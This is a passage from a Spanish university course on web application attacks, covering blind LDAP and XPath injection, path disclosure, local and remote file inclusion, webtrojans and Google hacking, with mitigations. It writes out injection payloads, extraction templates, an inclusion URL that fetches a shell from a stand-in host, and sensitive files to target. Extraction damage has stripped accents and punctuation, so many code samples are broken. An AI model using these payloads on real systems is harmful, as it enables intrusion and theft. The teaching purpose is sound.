modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

